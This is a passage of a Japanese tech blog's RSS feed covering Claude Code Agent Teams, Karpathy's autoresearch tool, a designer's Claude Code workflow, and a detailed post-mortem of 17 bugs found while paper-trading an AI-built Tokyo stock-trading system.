&lt;p&gt;この手法は個人の生産性向上だけでなく、チームや組織でも応用できる。InfoQ では AI コード生成における PDCA フレームワークとして、日次のマイクロ振り返り（5〜10分）を AI エージェントと行うアプローチが紹介されている。&lt;/p&gt;</description></item><item><title>autoresearch：Karpathyが公開した「寝ている間にAIが100実験を自律実行する」630行のスクリプト</title><link>https://hdknr.github.io/blogs/posts/2026/03/autoresearchkarpathy%E3%81%8C%E5%85%AC%E9%96%8B%E3%81%97%E3%81%9F%E5%AF%9D%E3%81%A6%E3%81%84%E3%82%8B%E9%96%93%E3%81%ABai%E3%81%8C100%E5%AE%9F%E9%A8%93%E3%82%92%E8%87%AA%E5%BE%8B%E5%AE%9F%E8%A1%8C%E3%81%99%E3%82%8B630%E8%A1%8C%E3%81%AE%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/autoresearchkarpathy%E3%81%8C%E5%85%AC%E9%96%8B%E3%81%97%E3%81%9F%E5%AF%9D%E3%81%A6%E3%81%84%E3%82%8B%E9%96%93%E3%81%ABai%E3%81%8C100%E5%AE%9F%E9%A8%93%E3%82%92%E8%87%AA%E5%BE%8B%E5%AE%9F%E8%A1%8C%E3%81%99%E3%82%8B630%E8%A1%8C%E3%81%AE%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88/</guid><description>&lt;p&gt;OpenAI初期メンバーであるAndrej Karpathyが、&lt;strong&gt;autoresearch&lt;/strong&gt;というオープンソースツールを公開しました。わずか630行のPythonスクリプトで、寝ている間にAIエージェントが約100の機械学習実験を自律的に実行してくれるというものです。&lt;/p&gt;
&lt;h2 id="karpathy12月からコードを1行も書いていない"&gt;Karpathy「12月からコードを1行も書いていない」&lt;/h2&gt;
&lt;p&gt;Karpathyは「12月から自分でコードを1行も書いていない」と告白しています。代わりに公開したのがこのautoresearchで、プログラマーの仕事が「コードを書く」から「設計する」へとシフトしていることを象徴しています。&lt;/p&gt;
&lt;h2 id="autoresearchの仕組み"&gt;autoresearchの仕組み&lt;/h2&gt;
&lt;p&gt;autoresearchはシンプルな仕組みで動作します:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;AIエージェントにトレーニングスクリプトと固定の計算バジェット（通常5分間のGPU時間）を渡す&lt;/li&gt;
&lt;li&gt;エージェントが自分のソースコードを読み、改善の仮説を立てる&lt;/li&gt;
&lt;li&gt;コードを修正し、実験を実行する&lt;/li&gt;
&lt;li&gt;結果が改善されたかを評価し、改善なら保持・悪化なら破棄する&lt;/li&gt;
&lt;li&gt;このサイクルを繰り返す&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;トレーニングは常に5分間で実行されるため、&lt;strong&gt;1時間あたり約12実験、一晩で約100実験&lt;/strong&gt;が自動的に回ります。&lt;/p&gt;
&lt;h2 id="実績と反響"&gt;実績と反響&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Shopify CEO Tobias Lütke&lt;/strong&gt;: 一晩で37実験を実行し、&lt;strong&gt;性能19%向上&lt;/strong&gt;を達成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Karpathy自身&lt;/strong&gt;: 700以上の実験を2日間で実行（Fortune誌報道）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub&lt;/strong&gt;: 公開1週間で数万スターを獲得（現在54,000以上）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="技術的特徴"&gt;技術的特徴&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;シングルGPU対応&lt;/strong&gt;: 高価なクラスタは不要&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;630行のスクリプト&lt;/strong&gt;: コードベースが小さく、理解・カスタマイズが容易&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MITライセンス&lt;/strong&gt;: 誰でも自由に利用可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Python製&lt;/strong&gt;: &lt;code&gt;train.py&lt;/code&gt; を中心としたシンプルな構成&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="リポジトリ"&gt;リポジトリ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;GitHub: &lt;a href="https://github.com/karpathy/autoresearch"&gt;karpathy/autoresearch&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="書くから設計するへの転換"&gt;「書く」から「設計する」への転換&lt;/h2&gt;
&lt;p&gt;autoresearchが示唆しているのは、世界最高峰のプログラマーの仕事が「AIにコードを書かせる」段階をすでに超え、&lt;strong&gt;AIエージェントに実験を設計・実行させるフェーズ&lt;/strong&gt;に入っているということです。Karpathyは将来的に、エージェント群が協調して小さなモデルをチューニングし、有望なアイデアを段階的にスケールアップさせる「研究コミュニティのエミュレーション」を構想しています。&lt;/p&gt;</description></item><item><title>Claude Code Agent Teams: セッション間でメッセージをやり取りできるマルチエージェント機能</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-agent-teams-%E3%82%BB%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3%E9%96%93%E3%81%A7%E3%83%A1%E3%83%83%E3%82%BB%E3%83%BC%E3%82%B8%E3%82%92%E3%82%84%E3%82%8A%E5%8F%96%E3%82%8A%E3%81%A7%E3%81%8D%E3%82%8B%E3%83%9E%E3%83%AB%E3%83%81%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%A9%9F%E8%83%BD/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-agent-teams-%E3%82%BB%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3%E9%96%93%E3%81%A7%E3%83%A1%E3%83%83%E3%82%BB%E3%83%BC%E3%82%B8%E3%82%92%E3%82%84%E3%82%8A%E5%8F%96%E3%82%8A%E3%81%A7%E3%81%8D%E3%82%8B%E3%83%9E%E3%83%AB%E3%83%81%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%A9%9F%E8%83%BD/</guid><description>&lt;p&gt;Claude Code に「Agent Teams」機能が追加されました。複数のセッションがメッセージをやり取りしながら協調作業できる機能です。&lt;/p&gt;
&lt;p&gt;従来のサブエージェントは親セッションに結果を返すだけでしたが、Agent Teams ではエージェント同士が直接コミュニケーションを取りながらタスクを進められます。&lt;/p&gt;
&lt;h2 id="agent-teams-とは"&gt;Agent Teams とは&lt;/h2&gt;
&lt;p&gt;Agent Teams は Claude Code v2.1.32 以降で利用できる実験的機能です。1つのセッションがチームリーダーとなり、複数のチームメイト（それぞれ独立した Claude Code インスタンス）を起動して並列に作業を進めます。&lt;/p&gt;
&lt;p&gt;各チームメイトは独自のコンテキストウィンドウを持ち、共有タスクリストを通じて自律的に連携します。&lt;/p&gt;
&lt;h2 id="サブエージェントとの違い"&gt;サブエージェントとの違い&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;比較項目&lt;/th&gt;
&lt;th&gt;サブエージェント&lt;/th&gt;
&lt;th&gt;Agent Teams&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;コンテキスト&lt;/td&gt;
&lt;td&gt;独自のコンテキスト、結果を呼び出し元に返却&lt;/td&gt;
&lt;td&gt;独自のコンテキスト、完全に独立&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;コミュニケーション&lt;/td&gt;
&lt;td&gt;親エージェントへの一方向のみ&lt;/td&gt;
&lt;td&gt;チームメイト同士で直接メッセージ送受信&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;調整方法&lt;/td&gt;
&lt;td&gt;親エージェントが全体を管理&lt;/td&gt;
&lt;td&gt;共有タスクリストで自己調整&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;適した用途&lt;/td&gt;
&lt;td&gt;結果だけが必要な集中タスク&lt;/td&gt;
&lt;td&gt;議論・協調が必要な複雑な作業&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;トークンコスト&lt;/td&gt;
&lt;td&gt;低い（結果が親コンテキストに要約される）&lt;/td&gt;
&lt;td&gt;高い（各チームメイトが個別の Claude インスタンス）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="sendmessage-によるエージェント間通信"&gt;SendMessage によるエージェント間通信&lt;/h2&gt;
&lt;p&gt;Agent Teams の中核となるのが &lt;code&gt;SendMessage&lt;/code&gt; ツールです。2つの通信方式が用意されています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;directed message&lt;/strong&gt;: 特定のチームメイトにメッセージを送信&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;broadcast&lt;/strong&gt;: 全チームメイトにメッセージを一斉送信&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;メッセージは各チームメイトの受信ボックスに JSON として追記されます。受信ボックスのパスは &lt;code&gt;~/.claude/teams/&amp;lt;project&amp;gt;/inboxes/&amp;lt;name&amp;gt;.json&lt;/code&gt; です。メッセージは次のターンで読み取られ、会話履歴に新しいユーザーターンとして注入されます。&lt;/p&gt;
&lt;h2 id="有効化と使い方"&gt;有効化と使い方&lt;/h2&gt;
&lt;p&gt;Agent Teams はデフォルトで無効です。&lt;code&gt;~/.claude/settings.json&lt;/code&gt; で環境変数を設定して有効化します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;env&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;有効化後は、自然言語でチーム構成を指示するだけで起動できます。&lt;/p&gt;</description></item><item><title>Claude Codeで東証の株取引を半自動化する【ペーパートレードで-19万円編】</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%81%A7%E6%9D%B1%E8%A8%BC%E3%81%AE%E6%A0%AA%E5%8F%96%E5%BC%95%E3%82%92%E5%8D%8A%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B%E3%83%9A%E3%83%BC%E3%83%91%E3%83%BC%E3%83%88%E3%83%AC%E3%83%BC%E3%83%89%E3%81%A7-19%E4%B8%87%E5%86%86%E7%B7%A8/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%81%A7%E6%9D%B1%E8%A8%BC%E3%81%AE%E6%A0%AA%E5%8F%96%E5%BC%95%E3%82%92%E5%8D%8A%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B%E3%83%9A%E3%83%BC%E3%83%91%E3%83%BC%E3%83%88%E3%83%AC%E3%83%BC%E3%83%89%E3%81%A7-19%E4%B8%87%E5%86%86%E7%B7%A8/</guid><description>&lt;p&gt;Claude Code を使って東証の株取引を半自動化するシリーズ。ペーパートレード開始から5日間で14件の決済が行われ、勝率0%、実現損失は-186,250円。全敗だった。しかし、これはペーパートレードだからこそ見つけられた17件のバグの記録でもある。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;免責事項:&lt;/strong&gt; 本記事は技術的な解説であり、特定の投資戦略や銘柄を推奨するものではない。株式投資には元本割れのリスクがある。投資判断は自己責任で行うこと。また、APIを介した自動売買にはプログラムの不具合による意図しない発注のリスクが伴う。必ず少額から始め、十分な検証を経てから運用すること。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="8連敗からの始まり"&gt;8連敗からの始まり&lt;/h2&gt;
&lt;p&gt;ペーパートレード開始から3日目。決算データを使った戦略が8連敗した。損失は-68,550円。&lt;/p&gt;
&lt;p&gt;下降トレンド中でも買う。損切り直後に同じ銘柄を再び買う。ストップ幅が狭すぎて、通常の値動きで損切りに引っかかる。人間のトレーダーなら「3連敗したら今日はやめよう」と判断する。AIにはその判断が最初からプログラムされていなかった。&lt;/p&gt;
&lt;p&gt;タイミングも悪かった。ペーパートレードを始めた週、イラン情勢の緊迫化で日経平均もTOPIXも大幅に下落していた。バグだらけのシステムが、下落相場に突っ込んだ格好だ。&lt;/p&gt;
&lt;h2 id="aiが書いたコードは動くだが正しく動くとは限らない"&gt;AIが書いたコードは「動く」。だが「正しく動く」とは限らない&lt;/h2&gt;
&lt;p&gt;このシリーズでは、Claude Code を使って東証の株取引を半自動化する方法を紹介してきた。プログラミング不要で、AIに「やって」と言うだけ。それは嘘ではない。実際に Claude Code はスクリーニングから発注まで、動くコードを書いてくれた。&lt;/p&gt;
&lt;p&gt;問題は「動く」と「正しく動く」の間に深い溝があることだ。&lt;/p&gt;
&lt;p&gt;ペーパートレードを始めてから5日間で、17件のバグが見つかった。全て、ライブでも同じように発生するバグだ。一つ残らず実弾を撃つ前に発見できた。逆に言えば、ペーパートレードをスキップしていたら、17個の地雷を踏みながらライブトレードをしていたことになる。&lt;/p&gt;
&lt;p&gt;「AIで簡単に自動売買」はSNSでよく見かけるフレーズだ。ツールとしてのAIは確かに強力だが、「簡単に」の部分は幻想だ。少なくとも私の場合はそうだった。長年コードを書いてきたエンジニアが、Claude Code にコードを書かせて、それでも17件のバグを出した。&lt;/p&gt;
&lt;p&gt;ここから先は、その17件のうち特に危険だったものを紹介する。&lt;/p&gt;
&lt;h2 id="放置すれば資金が溶けるバグ"&gt;放置すれば資金が溶けるバグ&lt;/h2&gt;
&lt;h3 id="8連敗して止まらない"&gt;8連敗して止まらない&lt;/h3&gt;
&lt;p&gt;冒頭の決算系戦略8連敗。-68,550円。&lt;/p&gt;
&lt;p&gt;原因は安全機構の欠如だ。クールダウン（損切り後に一定期間エントリーを見送る仕組み）がない。戦略あたりのポジション上限がない。動的ストップ（値動き幅に応じて損切りラインを調整する仕組み）がない。&lt;/p&gt;
&lt;p&gt;AIは「損切りラインを-5%に設定する」コードは書ける。だが「この銘柄のボラティリティなら-5%は狭すぎる」という判断はしない。ATR（平均的な1日の値動き幅）が3%の銘柄に5%のストップを置けば、2日間の通常の値動きで引っかかる。&lt;/p&gt;
&lt;h3 id="ポジションサイズが制御されていない"&gt;ポジションサイズが制御されていない&lt;/h3&gt;
&lt;p&gt;1銘柄あたりの投資上限を設定するパラメータが、コードのどこにも参照されていなかった。パラメータは存在するが、使われていない。設定画面だけ立派で中身が空のセキュリティソフトのようなものだ。&lt;/p&gt;
&lt;p&gt;ライブなら、1銘柄に資金が偏り、その銘柄が暴落したときに取り返しのつかない損失になる。&lt;/p&gt;
&lt;h3 id="損切りしても枠が空かない"&gt;損切りしても枠が空かない&lt;/h3&gt;
&lt;p&gt;「損切りが先、新規エントリーが後」であるべき処理が、逆の順序で実行されていた。&lt;/p&gt;
&lt;p&gt;1戦略あたりのポジション上限は3件。朝の処理で、まず新規エントリーを判定し、その後でストップ注文を処理する。すると、損切りで空くはずの枠が認識されず、新規エントリーがブロックされる。損切りされた銘柄の代わりに入るべき新しい銘柄が、いつまでも入れない。&lt;/p&gt;
&lt;h3 id="暴落の朝に無防備にエントリーする"&gt;暴落の朝に無防備にエントリーする&lt;/h3&gt;
&lt;p&gt;前日比10%のギャップダウン。市場が恐慌状態にある朝に、通常通りエントリーしていた。&lt;/p&gt;
&lt;p&gt;ギャップの大きさを検出するロジックが存在しなかった。修正後は、10%以上のギャップで停止、5%以上でストップ幅を自動拡張するようにした。&lt;/p&gt;
&lt;h3 id="50銘柄を超えると価格が取れなくなる"&gt;50銘柄を超えると価格が取れなくなる&lt;/h3&gt;
&lt;p&gt;kabu Station API には銘柄登録の上限がある。50件だ。株価の取得を要求するたびに銘柄が自動登録され、上限に達すると51件目以降は全てエラーになる。&lt;/p&gt;
&lt;p&gt;110件の候補のうち36件が脱落した。ライブなら、高スコアの候補が価格を取得できずエントリー機会を逃す。あるいは、保有銘柄の価格が取れずストップ注文が発動しない。&lt;/p&gt;
&lt;h2 id="動いているが正しく動いているではないバグ"&gt;「動いている」が「正しく動いている」ではないバグ&lt;/h2&gt;
&lt;h3 id="荒れた板でも平気でエントリーする"&gt;荒れた板でも平気でエントリーする&lt;/h3&gt;
&lt;p&gt;寄り付き直後の特別気配（売り買いの注文が極端に偏った状態）、スプレッドが通常の10倍、出来高ゼロ——そんな状態でも注文が通っていた。&lt;/p&gt;
&lt;p&gt;板の品質を評価する仕組みが、単一時点のスプレッドチェックしかなかった。修正後は、出来高・スプレッド・気配の状態・特別気配・ストップ高ストップ安を総合的に評価し、回復可能な状態なら最大5分間リトライする仕組みにした。&lt;/p&gt;
&lt;h3 id="全候補がqty0で1件もエントリーできない"&gt;全候補がQTY=0で1件もエントリーできない&lt;/h3&gt;
&lt;p&gt;ある朝、40件の候補全てが「数量ゼロ」で見送られた。&lt;/p&gt;
&lt;p&gt;資金300万円を5戦略で均等割りすると、1戦略あたり48万円。株価1,000円以上の銘柄は最低購入単位（100株＝10万円）を確保できるが、戦略ごとの予算上限に引っかかって多くの銘柄が除外された。高株価の優良銘柄ほど買えないという、本末転倒な状態だった。&lt;/p&gt;
&lt;h3 id="戦略の成績評価が壊れている"&gt;戦略の成績評価が壊れている&lt;/h3&gt;
&lt;p&gt;戦略の良し悪しを評価する指標（プロフィットファクター）の計算に、まだ決済していない注文のデータが混入していた。買い注文（損益ゼロ）が分母に加算され、評価値が実態と乖離する。&lt;/p&gt;
&lt;p&gt;本来なら停止すべき戦略が「成績は悪くない」と判定され、損失を出し続ける。&lt;/p&gt;
&lt;h3 id="ポジション管理がデータ不整合"&gt;ポジション管理がデータ不整合&lt;/h3&gt;
&lt;p&gt;取引ログでは全件決済済みなのに、ポジション管理ファイルには9件が残存していた。ゴーストポジション——実在しないポジションに対してストップ注文が出され続けるか、あるいは実在するポジションが管理から漏れる。&lt;/p&gt;
&lt;h2 id="aiから見えない世界のバグ"&gt;AIから見えない世界のバグ&lt;/h2&gt;
&lt;h3 id="スケジュールが誰にもキックされていない"&gt;スケジュールが誰にもキックされていない&lt;/h3&gt;
&lt;p&gt;朝8:10のスクリーニングが、3日間実行されていなかった。&lt;/p&gt;
&lt;p&gt;設定ファイルにはちゃんと書いてある。だが、それを読んで実行するスケジューラが、別件で停止したまま放置されていた。設定ファイルに書いた＝実行される、ではない。&lt;/p&gt;
&lt;p&gt;3日前の古い候補で取引するところだった。手動で気づいたから事なきを得た。&lt;/p&gt;
&lt;h3 id="キャッシュが空で30分タイムアウト"&gt;キャッシュが空で30分タイムアウト&lt;/h3&gt;
&lt;p&gt;スクリーニングが30分以上かかり、朝9:10のエントリーに間に合わない。&lt;/p&gt;
&lt;p&gt;ローカルに株価データのキャッシュを持つ仕組みを作ったが、キャッシュを更新する定期ジョブの登録を忘れていた。キャッシュが空なので、毎回APIから全銘柄のデータを個別取得する。1,590銘柄×APIレート制限で30分超。&lt;/p&gt;
&lt;h3 id="時計が9時間ずれている"&gt;時計が9時間ずれている&lt;/h3&gt;
&lt;p&gt;「9:10にエントリーを開始する」と書いたコードが、UTC基準で動いていた。WSL（Windows上のLinux環境）のシステム時刻がUTCで、Python の &lt;code&gt;datetime.now()&lt;/code&gt; がタイムゾーン指定なしで呼ばれていた。&lt;/p&gt;
&lt;p&gt;日本時間の9:10に動いたのは偶然だ。JST前提で書いたはずのコードがUTCで動いている——この種のバグは、テスト環境と本番環境でタイムゾーンが異なるだけで発生する。&lt;/p&gt;
&lt;h3 id="slack通知が全部失敗している"&gt;Slack通知が全部失敗している&lt;/h3&gt;
&lt;p&gt;損切りもエントリーも、通知が何も届いていなかった。&lt;/p&gt;</description></item><item><title>Claude Codeをメインのデザインツールに：Tailwind CSSデザイナーSteve Schogerの1時間解説動画</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%82%92%E3%83%A1%E3%82%A4%E3%83%B3%E3%81%AE%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3%E3%83%84%E3%83%BC%E3%83%AB%E3%81%ABtailwind-css%E3%83%87%E3%82%B6%E3%82%A4%E3%83%8A%E3%83%BCsteve-schoger%E3%81%AE1%E6%99%82%E9%96%93%E8%A7%A3%E8%AA%AC%E5%8B%95%E7%94%BB/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%82%92%E3%83%A1%E3%82%A4%E3%83%B3%E3%81%AE%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3%E3%83%84%E3%83%BC%E3%83%AB%E3%81%ABtailwind-css%E3%83%87%E3%82%B6%E3%82%A4%E3%83%8A%E3%83%BCsteve-schoger%E3%81%AE1%E6%99%82%E9%96%93%E8%A7%A3%E8%AA%AC%E5%8B%95%E7%94%BB/</guid><description>&lt;p&gt;Tailwind CSSチームのデザイナー Steve Schoger が、「Claude Codeをメインのデザインツールにした」という1時間の解説動画を公開した。Figmaを使わず、Claude Codeだけで金融アプリのランディングページをゼロから構築する過程を全公開している。&lt;/p&gt;
&lt;h2 id="steve-schoger-とは"&gt;Steve Schoger とは&lt;/h2&gt;
&lt;p&gt;Steve Schoger は Tailwind Labs のデザイナーで、Adam Wathan と共に「&lt;a href="https://refactoringui.com/"&gt;Refactoring UI&lt;/a&gt;」の著者としても知られている。開発者向けにデザインスキルを体系的に教える活動で広く認知されており、X（Twitter）でのデザインTipsや YouTube でのUI改善動画でも人気が高い。&lt;/p&gt;
&lt;h2 id="動画の内容"&gt;動画の内容&lt;/h2&gt;
&lt;p&gt;動画では、約50回の対話を通じて初期出力をプロ級の品質に仕上げていく過程が公開されている。&lt;/p&gt;
&lt;p&gt;注目すべきは、Schoger 本人が「コマンドラインはディレクトリ移動と Claude 起動しかできない」と語っている点だ。プログラミングの深い知識がなくても、Claude Code との対話だけでプロ品質のLPを作り上げている。&lt;/p&gt;
&lt;h3 id="ワークフロー"&gt;ワークフロー&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;左画面&lt;/strong&gt;: ブラウザ（localhost 表示）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;右画面&lt;/strong&gt;: Claude Code のターミナル&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これだけのシンプルな構成で、Figma は一切使っていない。&lt;/p&gt;
&lt;h3 id="技術スタック"&gt;技術スタック&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vite&lt;/strong&gt; — ビルドツール&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tailwind CSS&lt;/strong&gt; — ユーティリティファーストCSS&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;React&lt;/strong&gt; — UIライブラリ&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="デザイナーがcliに移行する時代"&gt;デザイナーがCLIに移行する時代&lt;/h2&gt;
&lt;p&gt;「デザイナーがCLIに移行する」というのは、一見ありえない話に思える。しかし、この動画を見ると、AIコーディングツールがデザインワークフローを根本的に変えつつあることが実感できる。&lt;/p&gt;
&lt;p&gt;従来のデザインワークフローでは、Figma などのビジュアルツールでモックアップを作成し、それをエンジニアが実装するという流れが一般的だった。しかし Claude Code を使えば、デザイナーが自然言語で指示を出すだけで、直接コードとして実装されたUIを確認・修正できる。&lt;/p&gt;
&lt;h2 id="uish--デザインスキルをaiに組み込むツール"&gt;ui.sh — デザインスキルをAIに組み込むツール&lt;/h2&gt;
&lt;p&gt;Schoger と Adam Wathan は &lt;a href="https://ui.sh"&gt;ui.sh&lt;/a&gt; というツールも開発している。これは Claude Code や Cursor などのAIコーディングエージェントに、プロレベルのデザイン基準を適用させるスキルツールキットだ。ターミナルを「デザインエンジニア」に変えるというコンセプトで、AIが生成するUIの品質を大幅に向上させることを目指している。&lt;/p&gt;</description></item><item><title>Claude Codeを使うなら最低限やっておきたい「7つのセキュリティ設定」</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%82%92%E4%BD%BF%E3%81%86%E3%81%AA%E3%82%89%E6%9C%80%E4%BD%8E%E9%99%90%E3%82%84%E3%81%A3%E3%81%A6%E3%81%8A%E3%81%8D%E3%81%9F%E3%81%847%E3%81%A4%E3%81%AE%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E8%A8%AD%E5%AE%9A/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%82%92%E4%BD%BF%E3%81%86%E3%81%AA%E3%82%89%E6%9C%80%E4%BD%8E%E9%99%90%E3%82%84%E3%81%A3%E3%81%A6%E3%81%8A%E3%81%8D%E3%81%9F%E3%81%847%E3%81%A4%E3%81%AE%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E8%A8%AD%E5%AE%9A/</guid><description>Claude Code のセキュリティ設定を7つ解説。サンドボックス、deny ルール、機密ファイル保護、ネットワーク制限、hooks、権限棚卸し、Managed Settings の設定方法を実践的にまとめます。</description></item><item><title>Claude Cowork 完全ガイド — 機能解説・料金・活用事例20選まとめ</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-cowork-%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-%E6%A9%9F%E8%83%BD%E8%A7%A3%E8%AA%AC%E6%96%99%E9%87%91%E6%B4%BB%E7%94%A8%E4%BA%8B%E4%BE%8B20%E9%81%B8%E3%81%BE%E3%81%A8%E3%82%81/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-cowork-%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-%E6%A9%9F%E8%83%BD%E8%A7%A3%E8%AA%AC%E6%96%99%E9%87%91%E6%B4%BB%E7%94%A8%E4%BA%8B%E4%BE%8B20%E9%81%B8%E3%81%BE%E3%81%A8%E3%82%81/</guid><description>Claude Cowork の全機能・料金プラン・セットアップ手順・活用事例20選・セキュリティ対策を網羅解説。月額$20から始められるAI業務自動化ツールの完全ガイド。</description></item><item><title>Claude Desktop Preview: 画面クリックでDOM要素を直接指定してUI修正できる新機能</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-desktop-preview-%E7%94%BB%E9%9D%A2%E3%82%AF%E3%83%AA%E3%83%83%E3%82%AF%E3%81%A7dom%E8%A6%81%E7%B4%A0%E3%82%92%E7%9B%B4%E6%8E%A5%E6%8C%87%E5%AE%9A%E3%81%97%E3%81%A6ui%E4%BF%AE%E6%AD%A3%E3%81%A7%E3%81%8D%E3%82%8B%E6%96%B0%E6%A9%9F%E8%83%BD/</link><pubDate>Mon, 23 Mar 2026 00:00:00 